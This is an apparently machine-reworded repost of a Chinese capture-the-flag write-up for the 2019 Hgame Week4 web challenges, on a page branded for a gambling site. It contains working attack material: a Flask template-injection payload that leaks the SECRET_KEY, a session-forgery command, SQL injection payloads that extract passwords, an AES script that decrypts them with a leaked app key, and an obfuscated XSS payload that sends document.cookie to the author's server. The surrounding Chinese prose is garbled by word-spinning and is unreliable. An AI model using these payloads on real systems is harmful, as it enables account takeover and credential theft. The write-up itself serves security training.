CTF问题实战:2019-Hgame-Web-Week4 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CTF问题实战:2019-Hgame-Web-Week4

申博_安全防护 申博 272次浏览 已收录 0个评论

媒介

近来应用空余时候做了一下Hgame,以下是局部web题题解。

happyPython

信息汇集

发明是flask,顺手测试一下。

http://118.25.18.223:3001/{{1+1}}

CTF问题实战:2019-Hgame-Web-Week4

发明能够存在SSTI,打了几发payload,发明都是500,想到测试一下过滤。

http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D

CTF问题实战:2019-Hgame-Web-Week4

发明将()替代成了空。

CTF问题实战:2019-Hgame-Web-Week4

SECRET_KEY猎取

那末执行命令应当变得异常难题,然则网站有登录,注册功用。

顺手解了一下session。

CTF问题实战:2019-Hgame-Web-Week4

预测能够要捏造user_id=1

那末不克不及执行命令,我们能够举行信息读取,取得SECRET_KEY。

探测了一下过滤,发明url_for还存在。

http://118.25.18.223:3001/%7B%7Burl_for%7D%7D

CTF问题实战:2019-Hgame-Web-Week4

进一步相识一下。

url_for.__globals__

CTF问题实战:2019-Hgame-Web-Week4

发明已经是<Flask ‘app’>,继承深切一下,读config。

url_for.__globals__['current_app'].config

获得回显

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:[email protected]:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}>

发明

'SECRET_KEY': '9RxdzNwq7!nOoK3*'

session捏造

我们举行session捏造。

{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}

这里直接改user_id不可,本以为有csrf_token,我们需获得下一次csrf_token再捏造。

CTF问题实战:2019-Hgame-Web-Week4

此时解密能够获得以后csrf_token。

CTF问题实战:2019-Hgame-Web-Week4

举行捏造

flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"

然则发明依然不可,这里实验Python3,发明胜利。

CTF问题实战:2019-Hgame-Web-Week4

CTF问题实战:2019-Hgame-Web-Week4

获得flag:hgame{Qu_bu_la1_m1ng_z1_14}。

happyPHP

信息汇集

F12发明源代码有信息泄漏。

CTF问题实战:2019-Hgame-Web-Week4

下载源码后直接搜刮flag。

CTF问题实战:2019-Hgame-Web-Week4

发明须要酿成id=1的用户才会获得flag。

二次注入

同时发明高危操纵。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");

没有经由过滤,直接拼接name。

轻易想到二次注入,这里注册用户。

1' or 'a'='a

获得效果

CTF问题实战:2019-Hgame-Web-Week4

发明能够注入,思索须要注入的value。

这里我直接以为注入id=1用户的暗码是没有作用的(厥后发明就是注暗码= =),我们发明这里的暗码已加密。

$user = User::create([
            'name' => $request->name,
            'email' => $request->email,
            'password' => encrypt($request->password),
        ]);

我们观察到数据库信息

public function up()
    {
        Schema::create('password_resets', function (Blueprint $table) {
            $table->string('email')->index();
            $table->string('token');
            $table->timestamp('created_at')->nullable();
        });
    }

发明存在变动暗码的table,那末我本以为这里照样和护网杯的一道题一模一样,注入出id=1用户的token,变动其暗码便可。

随即实验二次注入,寻觅回显点(这里不依照给我们的table字段个数和递次来,因为上次护网杯被坑过= =,照样本身实验靠谱)

实验

skysky' order by 1#

发明一般。

实验

skysky' order by 2#

发明500,因而肯定只要1列(泄漏果真不靠谱)组织。

-1' union select 1#

CTF问题实战:2019-Hgame-Web-Week4

那末注入password_resets表email和token字段便可。

-1' union select (select email from password_resets)#

效果又500了,出题人给的信息真的一点不克不及信= =,那末痛快直接注一下users表看看。

直接注暗码实验。

-1' union select (select password from users limit 0,1)#

获得

eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

解码获得

{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

password解密

到这我才发明前面的暗码加密和护网杯那次不一样……轻易异常多,也基础不存在password_reset,我说怎样路由里没看见改暗码的。= =

那末继承寻觅解密体式格局。

CTF问题实战:2019-Hgame-Web-Week4

发明没有key,这里须要回滚git。

CTF问题实战:2019-Hgame-Web-Week4

获得

APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

因而我们已经有

$key='9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
$iv='rnVrqfCvfJgnvSTi9z7KLw=='
$c='EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods='

解密

import base64
from Crypto.Cipher import AES
def decrypt(  enc ):
    enc = base64.b64decode(enc)
    iv = base64.b64decode('rnVrqfCvfJgnvSTi9z7KLw==')
    cipher = AES.new(base64.b64decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='), AES.MODE_CBC, iv )
    return cipher.decrypt( enc )
print decrypt('EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=')

获得暗码

9pqfPIer0Ir9UUfR

getflag

那末只差账号email了。

我们再去注入

-1' union select (select email from users wh ere id=1)#

CTF问题实战:2019-Hgame-Web-Week4

登录

[email protected]
9pqfPIer0Ir9UUfR

CTF问题实战:2019-Hgame-Web-Week4

获得flag

hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

HappyXss

这题比较简单,测试发明被过滤,则会被替代成Happy!

CTF问题实战:2019-Hgame-Web-Week4

因为过滤较多,fuzz一下过滤,轻易发明残留。这里挑选用ascii码拼接的体式格局bypass:

<input onfocus=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,50,53,48,48,48,47,63,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); autofocus>

(注:这里vps_ip我用127.0.0.1替代)

CTF问题实战:2019-Hgame-Web-Week4

获得flag

hgame{[email protected]_Haaaaaappy!!!}

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CTF问题实战:2019-Hgame-Web-Week4
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址